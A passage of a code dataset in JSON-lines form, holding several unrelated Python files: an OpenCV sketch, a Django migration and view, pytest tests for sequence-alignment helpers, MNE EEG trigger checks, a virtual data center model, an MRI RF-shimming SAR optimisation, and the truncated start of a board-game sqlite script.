60)\n\tret, mask = cv.threshold(canny_edges, 50, 255, cv.THRESH_BINARY_INV)\n\treturn mask\n\t\ncapture = cv.VideoCapture(0)\n\nwhile True:\n\tret, frame = capture.read()\n\tcv.imshow('Reiven Live Sketch', sketch_image(frame))\n\tif cv.waitKey(1) == 13: #enter key is pressed\n\t\tbreak\n\t\t\ncapture.release()\ncv.destroyAllWindows()","sub_path":"Reiven_CourseOnline2_Master_Computer_Vision/Work1_LiveSketch/reiven_candra_hamid_live_sketch.py","file_name":"reiven_candra_hamid_live_sketch.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"82"} +{"seq_id":"276070252","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport fastaUpload.models\nfrom django.conf import settings\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n migrations.swappable_dependency(settings.AUTH_USER_MODEL),\n ]\n\n operations = [\n migrations.CreateModel(\n name='FastaFile',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('name', models.CharField(max_length=250)),\n ('description', models.TextField()),\n ('upload_date', models.DateTimeField(auto_now_add=True)),\n ('modified_date', models.DateTimeField(auto_now=True)),\n ('fasta_file', models.FileField(upload_to=fastaUpload.models.user_directory_path)),\n ('owner', models.ForeignKey(to=settings.AUTH_USER_MODEL)),\n ],\n ),\n ]\n","sub_path":"fastaUpload/migrations/0001_initial.py","file_name":"0001_initial.py","file_ext":"py","file_size_in_byte":985,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"280171598","text":"from phyling.libphyling import *\nimport pytest\n\n\nclass TestMSAGenerator:\n test_inputs = [x for x in (Path(\"example\") / \"pep\").iterdir()]\n\n @pytest.fixture\n def msa_instance(self):\n return msa_generator(self.test_inputs)\n\n def test_filter_orthologs_with_orthologs(self, msa_instance):\n # Simulate having orthologs in the instance\n msa_instance.orthologs = {\n \"hmm_1\": {\"species_1_gene_100\", \"species_2_gene_211\", \"species_3_gene_311\", \"species_4_gene_414\"},\n \"hmm_2\": {\"species_1_gene_105\", \"species_2_gene_223\", \"species_3_gene_323\"},\n \"hmm_3\": {\"species_1_gene_155\", \"species_2_gene_253\", \"species_4_gene_432\"},\n \"hmm_4\": {\"species_3_gene_344\", \"species_4_gene_466\"},\n }\n msa_instance.filter_orthologs()\n assert len(msa_instance.orthologs) == 3\n assert \"hmm_4\" not in msa_instance.orthologs\n assert len(msa_instance.orthologs[\"hmm_1\"]) == 4 # Number of samples\n\n def test_filter_orthologs_with_small_orthologs(self, msa_instance):\n # Simulate having small orthologs in the instance\n msa_instance.orthologs = {\n \"hmm_1\": {\"species_1_gene_100\", \"species_2_gene_211\"},\n \"hmm_2\": {\"species_1_gene_105\", \"species_2_gene_223\"},\n \"hmm_3\": {\"species_1_gene_155\", \"species_2_gene_253\"},\n \"hmm_4\": {\"species_3_gene_344\", \"species_4_gene_466\"},\n }\n msa_instance.filter_orthologs()\n assert len(msa_instance.orthologs) == 0 # No orthologs should remain\n\n def test_filter_orthologs_attribute_error(self, msa_instance):\n # Simulate not having orthologs attribute in the instance\n with pytest.raises(AttributeError):\n msa_instance.filter_orthologs()\n\n\ndef create_msa(records):\n return MultipleSeqAlignment([SeqRecord(Seq(rec)) for rec in records])\n\n\nclass Testdictmerge:\n def test_dict_merge_empty_input(self):\n result = dict_merge([])\n assert result == {}\n\n def test_dict_merge_single_dict(self):\n dicts_list = [{\"a\": 1, \"b\": 2}]\n result = dict_merge(dicts_list)\n assert result == {\"a\": {1}, \"b\": {2}}\n\n def test_dict_merge_multiple_dicts(self):\n dicts_list = [{\"a\": 1, \"b\": 2}, {\"a\": 3, \"c\": 4}]\n result = dict_merge(dicts_list)\n assert result == {\"a\": {1, 3}, \"b\": {2}, \"c\": {4}}\n\n def test_dict_merge_duplicate_values(self):\n dicts_list = [{\"a\": 1, \"b\": 2}, {\"a\": 1, \"c\": 3}]\n result = dict_merge(dicts_list)\n assert result == {\"a\": {1}, \"b\": {2}, \"c\": {3}}\n\n def test_dict_merge_empty_dicts(self):\n dicts_list = [{}, {}]\n result = dict_merge(dicts_list)\n assert result == {}\n\n\nclass Testbpmrtrans:\n pep_msa = create_msa([\"-MSLR-L-\", \"-M-LRQL-\", \"-MS--QL-\"])\n\n def test_bp_mrtrans_basic(self):\n cds_seqs = [\n SeqRecord(Seq(\"ATGTCATTGCGACTA\")),\n SeqRecord(Seq(\"ATGTTGCGACAACTA\")),\n SeqRecord(Seq(\"ATGTCACAACTA\")),\n ]\n results = bp_mrtrans(pep_msa=self.pep_msa, cds_seqs=cds_seqs)\n assert str(results[0].seq) == \"---ATGTCATTGCGA---CTA---\"\n assert str(results[1].seq) == \"---ATG---TTGCGACAACTA---\"\n assert str(results[2].seq) == \"---ATGTCA------CAACTA---\"\n\n def test_bp_mrtrans_with_stop_codon(self):\n cds_seqs = [\n SeqRecord(Seq(\"ATGTCATTGCGACTA\")),\n SeqRecord(Seq(\"ATGTGATTGCGACAACTA\")),\n SeqRecord(Seq(\"ATGTCACAACTA\")),\n ]\n results = bp_mrtrans(pep_msa=self.pep_msa, cds_seqs=cds_seqs)\n assert str(results[0].seq) == \"---ATGTCATTGCGA---CTA---\"\n assert str(results[1].seq) == \"---ATG---TTGCGACAACTA---\"\n assert str(results[2].seq) == \"---ATGTCA------CAACTA---\"\n\n\nclass Testtrimgaps:\n def test_trim_gaps_basic(self):\n pep_msa = create_msa([\"-MG--A\", \"M-GT-C\", \"MMGTG-\"])\n result_msa = trim_gaps(pep_msa, gaps=0.5)\n assert len(result_msa) == 3\n assert str(result_msa[0].seq) == \"-MG-A\"\n assert str(result_msa[1].seq) == \"M-GTC\"\n assert str(result_msa[2].seq) == \"MMGT-\"\n\n def test_trim_gaps_with_cds_msa(self):\n pep_msa = create_msa([\"-MG--A\", \"M-GT-C\"])\n cds_msa = create_msa([\"---ATGGGA------GCT\", \"ATG---GCTACT---TGT\"])\n result_msa = trim_gaps(pep_msa, cds_msa, gaps=0.5)\n assert len(result_msa) == 2\n assert str(result_msa[0].seq) == \"---ATGGGA---GCT\"\n assert str(result_msa[1].seq) == \"ATG---GCTACTTGT\"\n\n def test_trim_gaps_no_trim(self):\n pep_msa = create_msa([\"MG--A\", \"M-GTC\"])\n result_msa = trim_gaps(pep_msa, gaps=0.5)\n assert len(result_msa) == 2\n assert str(result_msa[0].seq) == \"MG--A\"\n assert str(result_msa[1].seq) == \"M-GTC\"\n\n def test_trim_gaps_invalid_gaps_value(self):\n pep_msa = create_msa([\"-MG--A\", \"M-GT-C\"])\n with pytest.raises(ValueError):\n trim_gaps(pep_msa, gaps=1.5)\n","sub_path":"tests/libphyling_test.py","file_name":"libphyling_test.py","file_ext":"py","file_size_in_byte":4937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"630111793","text":"import sys\nsys.path.insert(0, './')\nimport mne\nfrom meeg_preprocessing.utils import setup_provenance\nfrom ambiguity.conditions import get_events\n\nimport matplotlib.pyplot as plt\nimport warnings\n\nimport numpy as np\n\nfrom scripts.config import (\n paths,\n subjects,\n open_browser\n)\n\nmne.set_log_level('INFO')\nreport, run_id, results_dir, logger = setup_provenance(\n script=__file__, results_dir=paths('report'))\n\n# if len(sys.argv) > 1:\n# subjects = [sys.argv[1]]\n# mkl.set_num_threads(1)\n\nfor subject in subjects:\n logger.info(subject)\n # STIM ====================================================================\n # Read Mat file\n events = get_events(paths('behavior', subject), 'stim_lock')\n mat = np.array(events['trigger_value'].astype(list))\n\n # Read events from epochs\n epochs = mne.read_epochs(paths('epoch', subject, epoch='stim_lock'))\n fiff = epochs.events[:, 2]\n\n # Checkup procedure\n if len(mat) > len(fiff):\n # XXX Here need procedure to correct issue\n raise RuntimeError()\n # warnings.warn('{}: too many events in mat as compared to fiff'.format(subject))\n # mat = mat[0:len(fiff)]\n if len(mat) < len(fiff):\n raise RuntimeError()\n # warnings.warn('{}: too many events in fiff as compared to mat'.format(subject))\n # fiff = fiff[0:len(mat)]\n\n if np.any(mat != fiff):\n index = np.where((mat - fiff) != 0.)[0][0]\n warnings.warn('{}: Problem with trigger {}.'.format(subject, index))\n\n # Report\n fig, (ax1, ax2) = plt.subplots(2, 1, sharey=True)\n ax1.plot(mat)\n ax1.plot(fiff + np.max(mat) + 1.0)\n ax2.set_title('triggers from mat & fiff')\n ax2.plot(mat - fiff)\n ax2.set_title('mat - fiff')\n report.add_figs_to_section(fig, 'Stim triggers', subject)\n # plt.show()\n\n # MOTOR ===================================================================\n # Read Mat file\n events = get_events(paths('behavior', subject), 'motor_lock')\n mat = np.array(events['motor_side'].astype(list))\n\n # Read events from epochs\n epochs = mne.read_epochs(paths('epoch', subject, epoch='motor_lock'))\n m = np.where(epochs.events[:, 2] < 2 ** 14)[0]\n fiff = 1 + (epochs.events[:, 2] < 2 ** 14)\n\n if len(mat) > len(fiff):\n # mat = mat[0:len(fiff)]\n # rm = list()\n # index = np.where((fiff - mat[0:len(fiff)]) != 0.)[0]\n # wg = 0\n # while (len(index) > 0) and ((len(fiff) + len(rm)) < len(mat)):\n # # test if just wrong trigger\n # sel = [i for i in range(0,len(fiff)+len(rm)) if i not in rm]\n # wrong = sum(abs(fiff - mat[sel]))\n # # test if additional trigger\n # sel = [i for i in range(0,len(fiff)+len(rm)+1)\n # if i not in (rm+[index[wg] + len(rm)])]\n # addup = sum(abs(fiff - mat[sel]))\n # if addup >= wrong:\n # rm.append(index[wg] + len(rm))\n # else:\n # wg += 1\n # index = np.where((fiff - mat[sel]) != 0)[0]\n # mat = mat[sel]\n # print('{}: found {} unwanted mat M events.\n # Correcting and NOT resaving mat...'.format(subject, len(rm)))\n # XXX NEED TO DO SOMETHING ABOUT IT HERE!\n raise ValueError()\n\n if len(mat) < len(fiff):\n # # fiff = fiff[0:len(mat)]\n # rm = list()\n # index = np.where((mat - fiff[0:len(mat)]) != 0.)[0]\n # while (len(index) > 0) and ((len(mat) + len(rm)) < len(fiff)):\n # rm.append(index[0] + len(rm))\n # sel = [i for i in range(0,len(mat)+len(rm)) if i not in rm]\n # index = np.where((mat - fiff[sel]) != 0.)[0]\n # print('remove {}'.format(rm[-1]))\n # epochs = epochs[sel]\n # print('{}: found {} unwanted M epochs. Correcting and resaving' +\n # 'epochs...'.format(subject, len(rm)))\n # fiff = 1 + (epochs.events[:,2] < 2 ** 14)\n # epochs.save(epo_fname)\n raise ValueError\n\n fig, (ax1, ax2) = plt.subplots(2, 1, sharey=True)\n ax1.plot(mat)\n ax1.plot(fiff + np.max(mat) + 1.0)\n ax2.set_title('triggers from mat & fiff')\n ax2.plot(mat - fiff)\n ax2.set_title('mat - fiff')\n report.add_figs_to_section(fig, 'Motor triggers', subject)\n # plt.show()\n\nlogger.log('Finished with no error')\nreport.save(open_browser=open_browser)\n#\n# fig, ax = plt.subplots(10, 1, sharey=True)\n# for ii in range(0,10):\n# sel = ii*200 + np.arange(0,200)\n# ax[ii].plot(fiff[sel]+0.1)\n# ax[ii].plot(mat[sel])\n# plt.show()\n","sub_path":"scripts/run_check_epochs.py","file_name":"run_check_epochs.py","file_ext":"py","file_size_in_byte":4553,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"135652778","text":"class Solution(object):\n def singleNumber(self, nums):\n \"\"\"\n :type nums: List[int]\n :rtype: List[int]\n \"\"\"\n numdict = {}\n singlenums = []\n for i in nums:\n if numdict.has_key(i):\n numdict[i]+=1\n else:\n numdict[i]=1\n for i in numdict.keys():\n if numdict[i]==1:\n singlenums.append(i)\n return singlenums\n\n","sub_path":"en/single-number-iii.py","file_name":"single-number-iii.py","file_ext":"py","file_size_in_byte":445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"572111843","text":"\"\"\"\nthe model of VDC(virtual data center);\nit is a weighted undirected graph;\nnodes are VMs and edages are VM-to-VM links;\nthe weight of node v declares the host resource v desired,\nand the weight of edage e declares the bandwith e desired,\n\"\"\"\n\nfrom copy import deepcopy\nfrom random import choice\nfrom heapq import heappush, heappop\n\nclass VDC(object):\n \"\"\"\nself.node: vm size;\nself.link: links, ;\nself.abw\nself.abwprior\nself.prior\n\nself.map: map of mapping of vm_index(0-n) to host_index,\n -1 represent havent been mapped;\n \"\"\"\n\n def __init__(self, n = 10, vm_size=None, bw_size=None):\n if vm_size is None:\n vm_size = lambda :choice([1,2,4,8])\n if bw_size is None:\n bw_size = lambda :choice([5,8,10,15,20])\n\n self.node = [vm_size() for i in range(n)]\n self.cap = self.node # another name\n \"\"\"\n the link between node i and j is stored in link[i*(i-1)/2+j]\n where i, j = 0, 1, 2, ..., n-1 and i>1)] #links\n\n \"\"\"\n self.abw : list , caculate total access bandwidth of nodes.\n self.abwprior : list, descending order of abw\n \"\"\"\n self.__f_abw()\n\n \"\"\"\n self.prior : list , prior.\n \"\"\"\n self.__f_prior()\n \n self.__net_cost = sum(self.link)\n\n def get_net_cost(self, gamma):\n \n return self.__net_cost*gamma + len(self.link)\n \n def get_bw(self, i, j):\n if i == j: return 0\n elif j>i: i, j = j, i\n return self.link[((i*(i-1))>>1)+j]\n\n def __f_abw(self):\n n = len(self.node)\n self.abw = [0 for i in range(n)]\n self.abworder = [0 for i in range(n)]\n\n pq = []\n\n for i in range(n):\n for j in range(n):\n self.abw[i] += self.get_bw(i,j)\n heappush(pq, (self.abw[i], i))\n for i in range(len(pq)):\n _, self.abworder[i] = heappop(pq)\n\n #print(self.abw)\n #print(self.abworder)\n\n def get_abw_order(self):\n return deepcopy(self.abworder)\n\n def __f_prior_old(self):\n '''\n \n '''\n n = len(self.node)\n flag = [0 for i in range(n)]\n self.prior = []\n s = set([i for i in range(n)])\n v = self.abworder[-1]\n s.remove(v)\n self.prior.append(v)\n\n while 0 != len(s):\n #print('V:', v, 'S:', s)\n i = -1\n for u in s:\n flag[u] = max(flag[u], self.get_bw(u, v))\n if -1 == i:\n i = u\n elif flag[u] > flag[i]:\n i = u\n v = i\n s.remove(v)\n self.prior.append(v)\n #print(self.prior)\n\n def __f_prior(self):\n '''\n \n '''\n n = len(self.node)\n flag = [0 for i in range(n)]\n self.prior_pre = [-1 for i in range(n)]\n self.prior = []\n\n s = set([i for i in range(n)])\n\n v = self.abworder[-1]\n s.remove(v)\n self.prior.append(v)\n self.prior_pre[v] = v\n \n while 0 != len(s):\n #print('V:', v, 'S:', s)\n i = -1\n for u in s:\n if flag[u] < self.get_bw(u,v):\n flag[u] = self.get_bw(u,v)\n self.prior_pre[u] = v\n if -1 == i:\n i = u\n elif flag[u] > flag[i]:\n i = u\n v = i\n s.remove(v)\n self.prior.append(v)\n #print(self.prior)\n \n def __iter__(self):\n \"\"\"Iterate over the nodes. Use the expression 'for n in G'.\n \"\"\"\n return iter(self.prior)\n\n def __len__(self):\n return len(self.node)\n\n def __getitem__(self, n):\n \"\"\"Return the size of vm n, eg:'vdc[n]'.\n \"\"\"\n return self.node[n]\n\n def copy(self):\n return deepcopy(self)\n\n def __del__(self):\n self.clear()\n\n def clear(self):\n del self.node\n del self.link\n\n def __str__(self):\n return 'node:\\t%s\\nlink:\\t%s' % (str(self.node), str(self.link))\n\ndef __test():\n n = 5\n vdc = VDC(n)\n print(vdc)\n for i in range(n):\n print('\\n', vdc.abw[i], '--->', end=' ')\n for j in range(n):\n print(vdc.get_bw(i,j), end=' ')\n print()\n for i in vdc.prior:\n print(i, ':', vdc.prior_pre[i])\n print('ok')\n\nif __name__ == \"__main__\":\n __test()\n\n\n\n","sub_path":"vdc2pdc/vdc.py","file_name":"vdc.py","file_ext":"py","file_size_in_byte":4508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"567310312","text":"from mahasiswa.models import Mahasiswa, Mahadosen\nfrom django.http import HttpResponse, JsonResponse\nfrom django.core import serializers\nfrom django.shortcuts import render\nfrom collections import namedtuple\nimport json, csv, re\n\n\ndef index(request):\n data_mahasiswa = Mahasiswa.objects.all()\n data = json.loads(serializers.serialize(\"json\", data_mahasiswa))\n return JsonResponse(data, safe=False)\n\n\ndef create(request):\n data = Mahasiswa()\n data.id = 1\n data.nama = \"Fatin4\"\n data.mahadosen = Mahadosen.objects.get(pk=1)\n\n if data.save() is True: \n return JsonResponse({\"pesan\": \"data gagal dimasukan\"}) \n else:\n data_mahasiswa = Mahasiswa.objects.all()\n data = json.loads(serializers.serialize(\"json\", data_mahasiswa))\n return JsonResponse(data, safe=False)\n \n\ndef insert(request):\n class Data:\n def __init__(self, baris1, baris2, baris3) :\n self.baris1 = baris1\n self.baris2 = baris2\n self.baris3 = baris3\n\n data_jadi = [] \n datax_jadi = [] \n datay = [] \n if request.method == 'POST': \n for row in request.FILES['docfile']:\n data = str(row) \n data = data.strip(\"b'\")\n data = data.strip(\"rn\") \n data = list(data.split(\",\"))\n temp = {\"baris1\":data[0],\"baris2\":data[1],\"baris3\":data[2].strip('\\\\r\\\\')}\n datay.append({\"s1\":data[0],\"s2\":data[1],\"s3\":data[2].strip('\\\\r\\\\')}) #Cara 1\n data_jadi.append(namedtuple(\"Data\", temp.keys())(*temp.values())) #Cara 2\n datax_jadi.append(Data(data[0],data[1],data[2].strip('\\\\r\\\\'))) #Cara 3 gagal\n\n\n # print(data_jadi)\n # print(\"datax_jadi = \"+str(type(datax_jadi[1])))\n # print(\"data_jadi = \"+str(type(data_jadi[1])))\n\n return render(request, 'base/mahasiswa/mahasiswa_index.html', {'data':datay}) #{'data_pond': data_pond, 'data_site': data_site, 'form': PondCreateForm()}\n\n ","sub_path":"mahasiswa/views/mahasiswa.py","file_name":"mahasiswa.py","file_ext":"py","file_size_in_byte":2012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"21811324","text":"import cv2 as cv\nfrom Useful_Tools.MATLAB_Importing import loadmat\nfrom RF_Voltages import Calc_RF_Voltage\nfrom Useful_Tools.General_Data_Vis import Save_Figs\nimport numpy as np\nimport numpy.ma as ma\nimport matplotlib.pyplot as plt\nimport math\nimport matplotlib.patches as patches\nimport cvxpy as cp\nimport sys\nimport skimage.color\nimport skimage.filters\nimport skimage.io\nimport skimage.viewer\n\n\nSAR_Limit_Arr = [1,5,10,20,50,100,150,200,250,300,350,400,450,500,600,700,800,900,1000]\n# SAR_Limit_Arr = [1,5,10]\n# ****************************\nROI_xCOL_range_low=13\nROI_xCOL_range_high=23\n\nROI_yROW_range_low=25\nROI_yROW_range_high=35\n\nROI_z_slice=20\n\n\n# generate realistic RF pulse\npulseDuration = 4 * (10 ** -3) # s\nsliceThickness = 42 * (10 ** -3) # m\nBWT = 8\nEmp = 0.8\nV_max = 114.265 # V\nTR = 7.36 * (10 ** -3) # s\n# *********************************************************************\n# load in MATLAB files\nAdj_dictionary = loadmat('/Users/lizgabriel/PycharmProjects/PTx/Data/menieres_2021_02_19/AdjDataUser.mat')\nSys_dictionary = loadmat('/Users/lizgabriel/PycharmProjects/PTx/Data/menieres_2021_02_19/SysDataUser.mat')\nSar_dictionary = loadmat('/Users/lizgabriel/PycharmProjects/PTx/Data/menieres_2021_02_19/SarDataUser.mat')\n\nS = np.array(Adj_dictionary['Adj']['S'])\ntxScaleFactor = np.array(Sys_dictionary['txScaleFactor'])\nadjtra = float(Sys_dictionary['adjtra'])\nZZ = Sar_dictionary['ZZ']\nZZtype = Sar_dictionary['ZZtype']\numax = np.array(Sys_dictionary['umax'])\n\n# get dimensions\nmatrixsize = int(math.sqrt(S.shape[0])) # assuming square array replace with rows and columns, rename as N_ etc\ncoils = int((S.shape[1]))\nslices = int((S.shape[2]))\n\n# *********************************************************************\n# get sar vops\nSAR_VOP_Index = (np.where(ZZtype == 6))[0][:] # find indicies of where in ZZ type the code = 6\nSAR_VOP = np.take(ZZ, SAR_VOP_Index, axis=2) # find corresponding VOP matrices\n\n# *********************************************************************\n# correct S which is [2809,8,52]\nS_Corrected = S # * txScaleFactor[None,:,None]\nS_Corrected_Summed = np.sum(S_Corrected, axis=1)\n\n# Cic pol, NOT for optimisation, only for plotting\nS_Corrected_CP = S * txScaleFactor[None, :, None]\nS_Corrected_Summed_CP = np.sum(S_Corrected_CP, axis=1)\n\n# *********************************************************************\n# CREATE ROI AROUND IAMS\n# #limit S to an ROI around inner ear\n\n# create blank arrays\nimage_coil = []\nROI_Square = []\n\n# also get a test square ROI for each coil\nfor i in range(0, coils):\n # image for each coil\n image_coil.append((S_Corrected[:, i, :]).reshape((matrixsize, matrixsize, slices), order='C'))\n # ROI square, for each coil\n ROI_Square.append(\n (image_coil[i])[ROI_yROW_range_low:ROI_yROW_range_high, ROI_xCOL_range_low:ROI_xCOL_range_high,\n ROI_z_slice])\n\nROI_Square = np.array(ROI_Square)\nROI_Square_Stacked = ROI_Square.reshape((8, -1), order='F')\nROI_Square_Stacked = ROI_Square_Stacked.transpose()\n\nBefore_Av_Arr = []\nAfter_Av_Arr = []\nBefore_Min_Arr = []\nAfter_Min_Arr = []\nBefore_CoV_Arr = []\nAfter_CoV_Arr = []\nmaxSAR_Arr = []\nopt_Arr =[]\n#set up plot\n\nS_Corrected_Image_CP = S_Corrected_Summed_CP.reshape((matrixsize, matrixsize, slices), order='C')\n\nfig, axs = plt.subplots(int((len(SAR_Limit_Arr)+1)/2), 2, figsize=(20, 20))\n\n\n\nrow = int((ROI_yROW_range_high + ROI_yROW_range_low)/2)\nplt.subplot(int((len(SAR_Limit_Arr)+1)/2), 2, 1)\nplt.imshow(np.abs(S_Corrected_Image_CP[:,:,ROI_z_slice]),vmin=0,vmax=0.1)\n# plt.axhline(y=row,color='red')\n# axs.add_patch(plt.patches.Rectangle((ROI_xCOL_range_low,ROI_yROW_range_low), (ROI_xCOL_range_high-ROI_xCOL_range_low), (ROI_yROW_range_high-ROI_yROW_range_low), edgecolor=\"red\", facecolor='none'))\nplt.title(\"Default CP\")\n\n\n\n\n# figLP, axsLP = plt.subplots(1, (len(SAR_Limit_Arr)+1), figsize=(10, 10))\n# axsLP[0].imshow(np.abs(S_Corrected_Image_CP[:,:,ROI_z_slice]),vmin=0,vmax=0.1)\n# #line profile through slice\n# row_Image_CP = np.abs(S_Corrected_Image_CP[row,:,ROI_z_slice])\n# row_target = np.full(row_Image_CP.shape, 11.7/adjtra)\n# axsLP[0].plot(row_Image_CP, 'k')\n\n\n\nfor i in range(0,len(SAR_Limit_Arr)):\n SAR_Limit = SAR_Limit_Arr[i]\n V_sq_av, AmpIntAv = Calc_RF_Voltage(pulseDuration, sliceThickness, BWT, Emp, V_max, TR)\n\n w = cp.Variable(8, complex=True)\n\n VOP = cp.Constant(SAR_VOP[:, :, 0])\n VOP1 = cp.Constant(SAR_VOP[:, :, 1])\n VOP2 = cp.Constant(SAR_VOP[:, :, 2])\n VOP3 = cp.Constant(SAR_VOP[:, :, 3])\n VOP4 = cp.Constant(SAR_VOP[:, :, 4])\n VOP5 = cp.Constant(SAR_VOP[:, :, 5])\n VOP6 = cp.Constant(SAR_VOP[:, :, 6])\n VOP7 = cp.Constant(SAR_VOP[:, :, 7])\n\n b = np.full((ROI_Square_Stacked[:, 1]).shape, 11.7 / adjtra)\n objective = cp.Minimize((cp.sum_squares(((ROI_Square_Stacked @ w) - b))))\n constraints = [(V_sq_av * cp.quad_form(w, VOP)) <= SAR_Limit, (V_sq_av * cp.quad_form(w, VOP1)) <= SAR_Limit,\n (V_sq_av * cp.quad_form(w, VOP2)) <= SAR_Limit, (V_sq_av * cp.quad_form(w, VOP3)) <= SAR_Limit,\n (V_sq_av * cp.quad_form(w, VOP4)) <= SAR_Limit, (V_sq_av * cp.quad_form(w, VOP5)) <= SAR_Limit,\n (V_sq_av * cp.quad_form(w, VOP6)) <= SAR_Limit, (V_sq_av * cp.quad_form(w, VOP7)) <= SAR_Limit]\n # constraints = [(cp.quad_form(w,VOP)) <= SAR_Limit , (cp.quad_form(w,VOP1)) <= SAR_Limit , (cp.quad_form(w,VOP2)) <=SAR_Limit, (cp.quad_form(w,VOP3)) <= SAR_Limit, (cp.quad_form(w,VOP4)) <= SAR_Limit, (cp.quad_form(w,VOP5)) <= SAR_Limit, (cp.quad_form(w,VOP6)) <= SAR_Limit, (cp.quad_form(w,VOP7)) <= SAR_Limit]\n prob = cp.Problem(objective, constraints)\n result = prob.solve()\n print(w.value)\n w_opt = w.value\n\n # before and after average values in Square ROI\n ROI_summed_after = np.matmul(ROI_Square_Stacked, w_opt)\n ROI_summed_before = np.sum(ROI_Square_Stacked, axis=1)\n\n Before_Av = np.average(np.abs(ROI_summed_before))\n After_Av = np.average(np.abs(ROI_summed_after))\n\n # Before_Av_Arr.append(np.average(np.abs(ROI_summed_before)))\n After_Av_Arr.append(np.average(np.abs(ROI_summed_after)))\n # Before_Min_Arr.append(np.min(np.abs(ROI_summed_before)))\n After_Min_Arr.append(np.min(np.abs(ROI_summed_after)))\n # Before_CoV_Arr.append(Before_Av / ((np.std(np.abs(ROI_summed_before)))))\n After_CoV_Arr.append(((np.std(np.abs(ROI_summed_after))))/After_Av)\n opt_Arr.append(np.mean((np.matmul(ROI_Square_Stacked,w_opt) - b )**2))\n\n ShimCalcSAR = []\n # voltage check\n for j in range(1, 8):\n ShimCalcSAR.append((V_sq_av * (np.matmul(np.matmul((w_opt.conj().T), SAR_VOP[:, :, j]), w_opt))))\n maxSAR_Arr.append(np.max(np.array(ShimCalcSAR)))\n\n# # Get before image\n# S_Corrected_Image = S_Corrected_Summed.reshape((matrixsize, matrixsize, slices), order='C')\n#\n# # Get optimised total image\n# S_Opt_Sum = np.sum((S_Corrected * w_opt[None, :, None]), axis=1)\n# ImageOpt = S_Opt_Sum.reshape((matrixsize, matrixsize, slices), order='C') # 2D images slice by slice\n#\n# # get optimised ROI image\n# ROI_Image_Opt = np.sum((ROI_Square * w_opt[:, None, None]), axis=0)\n# row_ImageOpt = np.abs(ImageOpt[row, :, ROI_z_slice])\n#\n# plt.subplot(int((len(SAR_Limit_Arr)+1)/2), 2, (i+2) )\n# plt.imshow(np.abs(ImageOpt[:, :, ROI_z_slice]), vmin=0, vmax=0.1)\n# # axs.add_patch(\n# # patches.Rectangle((ROI_xCOL_range_low, ROI_yROW_range_low), (ROI_xCOL_range_high - ROI_xCOL_range_low),\n# # (ROI_yROW_range_high - ROI_yROW_range_low), edgecolor=\"red\", facecolor='none'))\n# plt.title(\"SAR limit W/kg \" + str(SAR_Limit_Arr[i]))\n# plt.plot(row_ImageOpt, 'm')\n#\n# plt.tight_layout()\n# plt.show()\n# # plt.show()\n\n\n\nfig, axs = plt.subplots(2, 2, figsize=(10, 10))\n\nplt.subplot(2,2,1)\n\n\nplt.plot(SAR_Limit_Arr,After_Av_Arr, 'r+', linestyle='--')\nplt.hlines(b[0], xmin=0 , xmax=1000 ,label=\"target\", color='blue')\nplt.legend()\nplt.title(\"Average in ROI against SAR Limit\")\nplt.xlabel('SAR limit W/kg')\nplt.ylabel('Average in ROI (uT/V)')\n\n\nplt.subplot(2,2,2)\n\nplt.plot(SAR_Limit_Arr,After_Min_Arr, 'r+', linestyle='--')\nplt.hlines(b[0], xmin=0 , xmax=1000 ,label=\"target\", color='blue')\nplt.legend()\nplt.title(\"Minimum in ROI against SAR Limit\")\nplt.xlabel('SAR limit W/kg')\nplt.ylabel('Minimum in ROI (uT/V)')\n\n\nplt.subplot(2,2,3)\n\nplt.plot(SAR_Limit_Arr,After_CoV_Arr, 'r+', linestyle='--')\nplt.title(\"CoV in ROI against SAR Limit\")\nplt.xlabel('SAR limit W/kg')\nplt.ylabel('CoV in ROI')\n\n\nplt.subplot(2,2,4)\nx=[0,500,1000]\ny=[0,500,1000]\nplt.plot(SAR_Limit_Arr,maxSAR_Arr, 'r+', linestyle='--')\nplt.plot(x,y, color='blue', linestyle='--', label='y=x' )\nplt.legend()\n# plt.xlim(0,1000)\nplt.title(\"Predicted SAR against SAR Limit\")\nplt.xlabel('SAR limit W/kg')\nplt.ylabel('Predicted SAR W/kg')\nplt.show()\n\n\nplt.plot(SAR_Limit_Arr,opt_Arr, 'r+', linestyle='--')\nplt.title(\"Optimisation target (|(|Sw-b|)|^2) against SAR Limit\")\nplt.xlabel('SAR limit W/kg')\nplt.ylabel('Optimisation Target')\nplt.show()\n\n\n\n\n\n\n\n","sub_path":"IdealOperatingAnalysisSAR.py","file_name":"IdealOperatingAnalysisSAR.py","file_ext":"py","file_size_in_byte":8993,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"629068869","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Sat Jun 13 15:29:47 2020\r\n\r\n@author: Jeffrey Folz\r\n\"\"\"\r\n\r\n##################################\r\n#First draft of arkham databse. Will hold information on characters, monsters, items, and cards\r\n\r\n#06132020: Monsers table added with function to retrieve random monster information, which is returned as a tuple.\r\n\r\n##################################\r\n\r\nimport sqlite3\r\nimport random\r\nimport MonsterForm\r\nimport combat\r\n\r\ncon = sqlite3.connect('arkham.db')\r\nc = con.cursor()\r\n\r\n\r\nc.execute('DROP TABLE monsters') #drops monsters table; useful in debugging comment/uncomment as needed\r\nc.execute('DROP TABLE characters') #drops monsters table; useful in debugging comment/uncomment as needed\r\nc.execute('DROP TABLE items') #drops monsters table; useful in debugging comment/uncomment as needed\r\n\r\nc.execute('''CREATE TABLE monsters\r\n(id int PRIMARY KEY,\r\nname TEXT,\r\ncolor text,\r\nsymbol text,\r\nsneak_mod int,\r\nhorror_mod int,\r\ncombat_mod int,\r\nhorror_dmg 